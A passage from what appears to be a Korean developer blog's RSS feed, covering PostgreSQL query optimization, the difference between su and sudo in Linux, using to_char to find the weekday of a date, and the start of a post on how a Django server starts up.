&lt;pre class=&quot;1c&quot;&gt;&lt;code&gt;{
    &quot;cash&quot;:0.11293292045593262,
    &quot;env&quot;:0.0039179325103759766,
    &quot;execute main query&quot;:3.3925628662109375,
    &quot;fetch data&quot;:16.065179109573364,   # 개선 포인트 확인
    &quot;decrypt&quot;:0.27009010314941406,
    &quot;add color&quot;:0.04897713661193848
}&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;
&lt;div&gt;
&lt;div&gt;
&lt;div id=&quot;highlighter_775724&quot;&gt;&amp;nbsp;&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;div data-hasbody=&quot;true&quot; data-macro-name=&quot;code&quot;&gt;
&lt;div&gt;&lt;span style=&quot;color: #000000;&quot;&gt;&lt;b&gt;3.3. 로직 수정&lt;/b&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;
&lt;div&gt;
&lt;div id=&quot;highlighter_422827&quot;&gt;&amp;nbsp;&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;pre class=&quot;asciidoc&quot;&gt;&lt;code&gt;.......
#rows = name_to_json(cursor)
rows = name_to_json_large(cursor)
....&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;div data-hasbody=&quot;true&quot; data-macro-name=&quot;code&quot;&gt;
&lt;div&gt;&lt;span style=&quot;color: #000000;&quot;&gt;&lt;b&gt;3.4. 개선결과 확인&lt;/b&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;
&lt;pre class=&quot;1c&quot;&gt;&lt;code&gt;{
    &quot;cash&quot;:0.10492300987243652,
    &quot;env&quot;:0.004446983337402344,
    &quot;execute main query&quot;:3.836505889892578,
    &quot;fetch data&quot;:0.7863199710845947,   # 개선 확인
    &quot;decrypt&quot;:0.27866601943969727,
    &quot;add color&quot;:0.04845118522644043
}&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;
&lt;div&gt;
&lt;div&gt;
&lt;div id=&quot;highlighter_917934&quot;&gt;&amp;nbsp;&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;div id=&quot;expander-595803353&quot; data-hasbody=&quot;true&quot; data-macro-name=&quot;expand&quot;&gt;
&lt;div id=&quot;expander-control-595803353&quot;&gt;&lt;span style=&quot;color: #000000;&quot;&gt;&amp;nbsp;&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span style=&quot;color: #000000;&quot;&gt;&lt;b&gt;4. [querystrings.py] Select 절에서 case 문의 depth 가 깊을 때(case by case)&lt;/b&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div id=&quot;expander-content-595803353&quot;&gt;
&lt;ol style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;&lt;span style=&quot;color: #000000;&quot;&gt;case 문의 depth 가 깊으면 조회 속도가 현저히 느려집니다.&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span style=&quot;color: #000000;&quot;&gt;temp table 에 쉬운조건(빠른 실행속도) 먼저 체크 후 해당 결과는 제외한 후 복잡한조건(느린 실행속도) 를 체크하도록 합니다.&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span style=&quot;color: #000000;&quot;&gt;&lt;b&gt;coalesce(컬럼명, '') != ''&lt;/b&gt;&amp;nbsp;로직은&amp;nbsp;&lt;b&gt;컬럼명 &amp;gt; ''&lt;/b&gt; 로 갈음하여 불필요한 함수 실행을 하지 않도록 합니다.&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span style=&quot;color: #000000;&quot;&gt;case 문을 대체하는 방법은 경우에 따라 다양하므로 본인의 case 에 맞추어 심층적인 고민이 필요합니다.&lt;/span&gt;&lt;/li&gt;
&lt;/ol&gt;
&lt;div data-hasbody=&quot;true&quot; data-macro-name=&quot;code&quot;&gt;
&lt;div&gt;&amp;nbsp;&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;div id=&quot;expander-1873259735&quot; data-hasbody=&quot;true&quot; data-macro-name=&quot;expand&quot;&gt;
&lt;div id=&quot;expander-control-1873259735&quot;&gt;&lt;span style=&quot;color: #000000;&quot;&gt;&lt;b&gt;&amp;nbsp;5. [querystrings.py] 대량데이터가 존재하는 table 반복 사용시&lt;/b&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div id=&quot;expander-content-1873259735&quot;&gt;
&lt;ol style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;&lt;span style=&quot;color: #000000;&quot;&gt;대량데이터가 존재하는 table 을 반복하여 사용하는 경우 temp table 에 데이터를 가져와서 사용합니다.&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span style=&quot;color: #000000;&quot;&gt;temp table 사용시 db 서버의 메모리를 사용하게 되므로 가능한 적은 컬럼과 집계 함수를 이용하여 최소한의 데이터를 담도록 합니다.&lt;/span&gt;&lt;/li&gt;
&lt;/ol&gt;
&lt;div data-hasbody=&quot;true&quot; data-macro-name=&quot;code&quot;&gt;
&lt;div&gt;&amp;nbsp;&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;div id=&quot;expander-1740794998&quot; data-hasbody=&quot;true&quot; data-macro-name=&quot;expand&quot;&gt;
&lt;div id=&quot;expander-control-1740794998&quot;&gt;&lt;span style=&quot;color: #000000;&quot;&gt;&lt;b&gt;&amp;nbsp;6. [querystrings.py] 파라미터에 함수를 사용하는 경우&lt;/b&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div id=&quot;expander-content-1740794998&quot;&gt;
&lt;ol style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;&lt;span style=&quot;color: #000000;&quot;&gt;where 조건절에 함수를 사용한 파라미터를 사용할 경우 이론상(sql optimizer 에 따라 다름) row 수만큼 해당 행위를 반복하기때문에 view 단에서 1회 작업후 새로운 파라미터로 매핑합니다.&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span style=&quot;color: #000000;&quot;&gt;특히 해당 함수와 조건절에 걸려있는 컬럼이 index 컬럼인 경우 index 를 사용할 수 없으므로 속도저하가 심하게 올 수 있습니다.&lt;/span&gt;&lt;/li&gt;
&lt;/ol&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;div id=&quot;likes-and-labels-container&quot;&gt;
&lt;div id=&quot;likes-section&quot;&gt;&amp;nbsp;&lt;/div&gt;
&lt;/div&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;&lt;span style=&quot;color: #000000;&quot;&gt; &amp;zwj;♂️&amp;nbsp;&lt;b&gt;후기&lt;/b&gt;&lt;/span&gt;&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #000000;&quot;&gt;아직 경험이 많이 부족하지만, 앞으로 더 많은 경험과 더 많은 양의 데이터를 다뤄봄으로써 더 좋은 방법들을 고안해나가며 최적화를 시킬수 있는 다양한 방법들을 연구해 보아야겠습니다.&lt;/span&gt;&lt;/p&gt;</description>
      <category>Postgresql</category>
      <category>PostgreSQL</category>
      <category>query</category>
      <category>SQL</category>
      <category>속도개선</category>
      <author>chief</author>
      <guid isPermaLink="true">https://chiefcoder.tistory.com/66</guid>
      <comments>https://chiefcoder.tistory.com/66#entry66comment</comments>
      <pubDate>Thu, 17 Nov 2022 10:30:08 +0900</pubDate>
    </item>
    <item>
      <title>[Linux] su / su - / sudo 명령어의 차이점에 대해 알아보자!</title>
      <link>https://chiefcoder.tistory.com/65</link>
      <description>&lt;h3 data-ke-size=&quot;size23&quot;&gt;&lt;span&gt; &amp;nbsp;&amp;nbsp;&lt;b&gt;들어가며...&lt;/b&gt;&lt;/span&gt;&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;Linux에서 특정 명령을 실행하거나, 특정 파일에 접근하기 위해서는 root 권한이 필요한 경우가 있습니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이러한 경우에 사용하게 되는 &lt;b&gt;su / su - / sudo&lt;/b&gt;&amp;nbsp;&lt;b&gt;명령어들과 각 명령어들의 차이점&lt;/b&gt;과, 현재 계정을 확인하는 &lt;b&gt;whoami&lt;/b&gt; 명령어,&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;계정 전환 후 다시 이전 계정으로 돌아가게 하는 &lt;b&gt;logout / exit&lt;/b&gt; 명령어들에 대해 알아보겠습니다!&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;&lt;span&gt; &amp;nbsp;&lt;b&gt;내용&lt;/b&gt;&lt;/span&gt;&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;우선, 일반 사용자(user)가 루트(root) 권한을 사용하기 위해서는&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;su&amp;nbsp;(Switch User)&lt;/b&gt; 혹은 &lt;b&gt;sudo&amp;nbsp;(SuperUser DO)&lt;/b&gt; 명령어를 사용하면 됩니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h4 data-ke-size=&quot;size20&quot;&gt;&lt;b&gt;1. su (Switch User) 명령어&lt;/b&gt;&lt;/h4&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;Switch User에서 알 수 있듯이, 현재 계정을 로그아웃하지 않고&lt;b&gt; 다른 계정으로 전환&lt;/b&gt;하는 명령어 입니다.&lt;br /&gt;&lt;br /&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;su 명령어 예제&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;su root&lt;/li&gt;
&lt;li&gt;su - root&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;su 명령어 사용 시 옵션&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;&lt;span style=&quot;font-family: -apple-system, BlinkMacSystemFont, 'Helvetica Neue', 'Apple SD Gothic Neo', Arial, sans-serif; letter-spacing: 0px;&quot;&gt;-c : 쉘을 실행하지 않고, 주어진 명령만을 수행합니다.&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span style=&quot;font-family: -apple-system, BlinkMacSystemFont, 'Helvetica Neue', 'Apple SD Gothic Neo', Arial, sans-serif; letter-spacing: 0px;&quot;&gt;-s : 지정된 셀로 로그인합니다.&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;-, -l : 지정한 사용자의 환경 변수를 적용하여 로그인합니다.&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;su 명령어를 실행하게 되면&amp;nbsp;&lt;b&gt;root 사용자의 비밀번호&lt;/b&gt;를 물어봅니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;여기서 &lt;b&gt;'-' 의 유무의 차이&lt;/b&gt;가 있습니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;su 와 su - 는 둘 다 루트 (root) 계정으로 전환하는 것을 의미하지만, &lt;br /&gt;su는 root 계정의 환경 변수를 가져오지 않고, 현재 계정의 환경 변수를 사용하게 되는 차이점이 있습니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;su - 하시고 로그인을 하게 되면&amp;nbsp;기본 /root 디렉토리(directory&lt;span&gt;&lt;span&gt;)&lt;/span&gt;&lt;/span&gt;로 이동하게 됩니다. (환경 변수를 가져온다는 의미.)&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h4 data-ke-size=&quot;size20&quot;&gt;&lt;b&gt;2. sudo (SuperUser DO) 명령어&lt;/b&gt;&lt;/h4&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;SuperUser DO 에서 알 수 있듯이,&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;슈퍼 유저로 무언가를 수행한다는 의미를 가지고 있는 명령어 입니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;현재 계정에서 단순히 &lt;b&gt;root 의 권한 만을 빌리는 것&lt;/b&gt;입니다.&lt;br /&gt;&lt;br /&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;sudo 명령어 예제&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;sudo [command]&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;sudo 명렁어를 실행하게 되면 root 권한으로 명령어를 실행하게 됩니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;즉, 하나의 명령에 대하여 일시적으로 root 권한을 사용&lt;/b&gt;하는 것을 말합니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;실행하기 전 &lt;b&gt;현재 사용자의 비밀번호&lt;/b&gt;를 물어봅니다.&lt;br /&gt;&lt;br /&gt;&lt;/p&gt;
&lt;h4 data-ke-size=&quot;size20&quot;&gt;&lt;b&gt;3. su 와 sudo 의 차이점&lt;/b&gt;&lt;/h4&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;su는 계정을 전환하기 위한 것이고,&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;sudo는 권한을 빌려 명령어를 실행하기 위한 것입니다.&lt;br /&gt;&lt;br /&gt;&lt;/p&gt;
&lt;h4 data-ke-size=&quot;size20&quot;&gt;&lt;b&gt;4. whoam&lt;/b&gt;&lt;b&gt;i&lt;/b&gt;&lt;/h4&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;현재 사용자를 확인하는 명령어 입니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;(su 명령어를 통해 사용자를 전환하고 혹은 logout / exit로 다시 돌아오기를 하며 확인해보세요.)&lt;br /&gt;&lt;br /&gt;&lt;/p&gt;
&lt;h4 data-ke-size=&quot;size20&quot;&gt;&lt;b&gt;5. logout / exit&lt;/b&gt;&lt;/h4&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;전환 전 계정으로 돌아가는 명령어 입니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;&lt;span&gt; &amp;zwj;♂️&amp;nbsp;&lt;b&gt;후기&lt;/b&gt;&lt;/span&gt;&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;위의 명령어들은 실무에서 많이 쓰이는 것들이라서 정리해보았습니다. 리눅스 명령어는 워낙 방대해서 필요할때마다 찾아가며 쓰고 있지만, 몇몇 개념이 중요한 명령어들은 따로 정리해보겠습니다!&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;</description>
      <category>IT지식</category>
      <category>command</category>
      <category>EXIT</category>
      <category>Linux</category>
      <category>logout</category>
      <category>Su</category>
      <category>sudo</category>
      <category>whoami</category>
      <author>chief</author>
      <guid isPermaLink="true">https://chiefcoder.tistory.com/65</guid>
      <comments>https://chiefcoder.tistory.com/65#entry65comment</comments>
      <pubDate>Sat, 15 Oct 2022 11:00:26 +0900</pubDate>
    </item>
    <item>
      <title>[Postgresql] 날짜데이터 가지고 요일 찾는 방법(to_char)</title>
      <link>https://chiefcoder.tistory.com/64</link>
      <description>&lt;h3 data-ke-size=&quot;size23&quot;&gt;&lt;span&gt; &amp;nbsp;&amp;nbsp;&lt;b&gt;들어가며...&lt;/b&gt;&lt;/span&gt;&lt;/h3&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;제목은 날짜데이터를 기반으로 한 요일 찾는 방법이지만, 사실 to_char에 대해 알아보는 시간입니다. 실무에서 날짜 뒤에 요일을 붙여주기를 원해서 좋은방법을 찾아보다가 발견한 부분을 알려드릴 예정입니다!&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size14&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;&lt;span&gt; &amp;nbsp;&lt;b&gt;내용&lt;/b&gt;&lt;/span&gt;&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;background-color: #ffffff; color: #0d0a0b;&quot;&gt;PostgreSQL에서 &lt;b&gt;to_char&lt;/b&gt; 함수&lt;/span&gt;는&lt;span&gt;&amp;nbsp;&lt;/span&gt;다양한 데이터 유형(날짜/시간, 정수, 부동 소수점, 숫자)을 형식화된 문자열로 변환하고 형식화된 문자열에서 특정 데이터 형식으로 변환하기 위한 강력한 도구 세트를 제공합니다.&lt;/p&gt;
&lt;h1&gt;높은 빈도&lt;/h1&gt;
&lt;table style=&quot;border-collapse: collapse; width: 100%; height: 155px;&quot; border=&quot;1&quot; data-ke-align=&quot;alignLeft&quot; data-ke-style=&quot;style12&quot;&gt;
&lt;tbody&gt;
&lt;tr style=&quot;height: 19px;&quot;&gt;
&lt;td style=&quot;height: 19px;&quot;&gt;포멧&lt;/td&gt;
&lt;td style=&quot;height: 19px;&quot;&gt;설명&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;height: 17px;&quot;&gt;
&lt;td style=&quot;height: 17px;&quot;&gt;YYYY&lt;/td&gt;
&lt;td style=&quot;height: 17px;&quot;&gt;year (4 and more digits)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;height: 17px;&quot;&gt;
&lt;td style=&quot;height: 17px;&quot;&gt;MM&lt;/td&gt;
&lt;td style=&quot;height: 17px;&quot;&gt;month number (01-12)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;height: 17px;&quot;&gt;
&lt;td style=&quot;height: 17px;&quot;&gt;DD&lt;/td&gt;
&lt;td style=&quot;height: 17px;&quot;&gt;day of month (01-31)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;height: 17px;&quot;&gt;
&lt;td style=&quot;height: 17px;&quot;&gt;HH24&lt;/td&gt;
&lt;td style=&quot;height: 17px;&quot;&gt;hour of day (00-23)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;height: 17px;&quot;&gt;
&lt;td style=&quot;height: 17px;&quot;&gt;MI&lt;/td&gt;
&lt;td style=&quot;height: 17px;&quot;&gt;minute (00-59)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;height: 17px;&quot;&gt;
&lt;td style=&quot;height: 17px;&quot;&gt;SS&lt;/td&gt;
&lt;td style=&quot;height: 17px;&quot;&gt;second (00-59)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;height: 17px;&quot;&gt;
&lt;td style=&quot;height: 17px;&quot;&gt;MS&lt;/td&gt;
&lt;td style=&quot;height: 17px;&quot;&gt;millisecond (000-999)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;height: 17px;&quot;&gt;
&lt;td style=&quot;height: 17px;&quot;&gt;D&lt;/td&gt;
&lt;td style=&quot;height: 17px;&quot;&gt;day of week (1-7; Sunday is 1)&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h1&gt;to_char 이용하여 요일 찾는 쿼리문 예시&lt;/h1&gt;
&lt;pre class=&quot;pgsql&quot;&gt;&lt;code&gt;select (CASE to_char(%(date)s::date, 'D') WHEN '1' THEN '(일)'
                                          WHEN '2' THEN '(월)'
                                          WHEN '3' THEN '(화)'
                                          WHEN '4' THEN '(수)'
                                          WHEN '5' THEN '(목)'
                                          WHEN '6' THEN '(금)'
                                          WHEN '7' THEN '(토)' END)&lt;/code&gt;&lt;/pre&gt;
&lt;pre class=&quot;pgsql&quot;&gt;&lt;code&gt;select (CASE to_char('20220930'::date, 'D') WHEN '1' THEN '(일)'
                                          WHEN '2' THEN '(월)'
                                          WHEN '3' THEN '(화)'
                                          WHEN '4' THEN '(수)'
                                          WHEN '5' THEN '(목)'
                                          WHEN '6' THEN '(금)'
                                          WHEN '7' THEN '(토)' END) as 요일&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;스크린샷 2022-09-29 오후 3.47.33.png&quot; data-origin-width=&quot;125&quot; data-origin-height=&quot;58&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/c3sO5W/btrNobzYs6O/FuvfnT6C3dkSDirNl5ZcHK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/c3sO5W/btrNobzYs6O/FuvfnT6C3dkSDirNl5ZcHK/img.png&quot; data-alt=&quot;결과&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/c3sO5W/btrNobzYs6O/FuvfnT6C3dkSDirNl5ZcHK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fc3sO5W%2FbtrNobzYs6O%2FFuvfnT6C3dkSDirNl5ZcHK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;125&quot; height=&quot;58&quot; data-filename=&quot;스크린샷 2022-09-29 오후 3.47.33.png&quot; data-origin-width=&quot;125&quot; data-origin-height=&quot;58&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;결과&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;&lt;span&gt; &amp;zwj;♂️&amp;nbsp;&lt;b&gt;후기&lt;/b&gt;&lt;/span&gt;&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;to_char는 경험상 요일구할때에도 많이 사용하고, 데이터 insert시간을 컬럼으로 따로 저장할 시 YYYYMMDD형식으로 맞춰줄 때에도 사용합니다. 유용한 함수인 것 같습니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span&gt;&lt;b&gt; &amp;nbsp; 참고한 글&lt;/b&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span&gt;&lt;b&gt;&lt;a href=&quot;https://www.postgresql.org/docs/8.1/functions-formatting.html&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;https://www.postgresql.org/docs/8.1/functions-formatting.html&lt;/a&gt;&lt;/b&gt;&lt;/span&gt;&lt;/p&gt;
&lt;figure id=&quot;og_1664437286886&quot; contenteditable=&quot;false&quot; data-ke-type=&quot;opengraph&quot; data-ke-align=&quot;alignCenter&quot; data-og-type=&quot;article&quot; data-og-title=&quot;Data Type Formatting Functions&quot; data-og-description=&quot;The PostgreSQL formatting functions provide a powerful set of tools for converting various data types (date/time, integer, floating point, numeric) to formatted strings and for converting from formatted strings to specific data types. Table 9-20 lists them&quot; data-og-host=&quot;www.postgresql.org&quot; data-og-source-url=&quot;https://www.postgresql.org/docs/8.1/functions-formatting.html&quot; data-og-url=&quot;https://www.postgresql.org/docs/8.1/functions-formatting.html&quot; data-og-image=&quot;https://scrap.kakaocdn.net/dn/dDaRoA/hyPXN9OdyS/w7SUSLtFBSNKyKvniMe8Gk/img.png?width=540&amp;amp;height=557&amp;amp;face=0_0_540_557&quot;&gt;&lt;a href=&quot;https://www.postgresql.org/docs/8.1/functions-formatting.html&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot; data-source-url=&quot;https://www.postgresql.org/docs/8.1/functions-formatting.html&quot;&gt;
&lt;div class=&quot;og-image&quot; style=&quot;background-image: url('https://scrap.kakaocdn.net/dn/dDaRoA/hyPXN9OdyS/w7SUSLtFBSNKyKvniMe8Gk/img.png?width=540&amp;amp;height=557&amp;amp;face=0_0_540_557');&quot;&gt;&amp;nbsp;&lt;/div&gt;
&lt;div class=&quot;og-text&quot;&gt;
&lt;p class=&quot;og-title&quot; data-ke-size=&quot;size16&quot;&gt;Data Type Formatting Functions&lt;/p&gt;
&lt;p class=&quot;og-desc&quot; data-ke-size=&quot;size16&quot;&gt;The PostgreSQL formatting functions provide a powerful set of tools for converting various data types (date/time, integer, floating point, numeric) to formatted strings and for converting from formatted strings to specific data types. Table 9-20 lists them&lt;/p&gt;
&lt;p class=&quot;og-host&quot; data-ke-size=&quot;size16&quot;&gt;www.postgresql.org&lt;/p&gt;
&lt;/div&gt;
&lt;/a&gt;&lt;/figure&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;</description>
      <category>Postgresql</category>
      <category>data formatting</category>
      <category>PostgreSQL</category>
      <category>TO_CHAR</category>
      <author>chief</author>
      <guid isPermaLink="true">https://chiefcoder.tistory.com/64</guid>
      <comments>https://chiefcoder.tistory.com/64#entry64comment</comments>
      <pubDate>Wed, 5 Oct 2022 18:00:21 +0900</pubDate>
    </item>
    <item>
      <title>[Django] 서버 실행 과정</title>
      <link>https://chiefcoder.tistory.com/63</link>
      <description>&lt;h3 data-ke-size=&quot;size23&quot;&gt;&lt;span&gt; &amp;nbsp;&amp;nbsp;&lt;b&gt;들어가며...&lt;/b&gt;&lt;/span&gt;&lt;/h3&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;AWS를 사용해보고, Jenkins를 이용하여 직접 배포도 진행해보면서 Django의 서버 실행 과정이 궁금하게 되었고, 간단하게 제가 이해한 바로 그 과정들을 분석해 정리하여 보았습니다.&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size14&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;&lt;span&gt; &amp;nbsp;&lt;b&gt;내용&lt;/b&gt;&lt;/span&gt;&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;Django파일에서 서버가 실행됨에 있어서 가장 중요한 파일은 wsgi.py 파일입니다.&lt;/p&gt;
&lt;pre class=&quot;isbl&quot;&gt;&lt;code&gt;application = get_wsgi_application()&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;gunicorn에서 이 명령어를 실행함으로써 장고서버가 실행되게 됩니다. (제가 저번글에서 잠깐 설명드렸던 handler/wsgi.py 파일까지 최종적으로 타고 들어갑니다. handler/wsgi.py 파일을 개인적으로 분석해 보시는것을 추천드립니다.)&lt;br /&gt;&lt;br /&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;처음에 저는 로컬에서 실행할때 manage.py를 설정하게 되어있어서 manage.py가 장고를 실행함에 있어서 중요한 파일인줄 알았지만, 공부해본 결과 manage.py는 단순히 run server 명령어 역활을 하고 wsgi.py파일이 없어서는 안되는 필수 파일이라는 것을 느꼈습니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;br /&gt;그렇다고 manage.py가 없어도 된다는 말은 아닙니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;실제 개발기나 운영기 환경에서 manage.py의 사용예시를 들어보면, ORM 등을 사용할 때 신규스키마가 추가되었다면, 배포 시 model.py를 manage.py를 이용하여 재실행 시켜줘야 적용이 됩니다. (Jenkins를 이용한다면 Jenkins에 명령어로 추가해야 합니다. 이 밖에도 manage.py를 사용하여 exe를 실행하는 과정들은 보통 Jenkins에 있습니다.)&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이후에 base폴더 안에 저는 보통 settings라는 폴더를 하나 더 생성하고 그 안에 local_settings(로컬 세팅용), dev.py(개발기 세팅용), stage.py(운영기 세팅용)을 따로 생성해서 각자의 역활대로 세팅할 때 사용합니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;default 세팅은 base.py에 세팅을 해두고 로컬/개발기/운영기 마다 서버가 달라지거나 DB ID/PW가 달라지는 부분, 또한 로그를 통해 실행여부를 확인하고 싶을때마다 각각의 세팅이 다르기 때문에 저는 위와 같은 방식을 선호합니다.&lt;/p&gt;
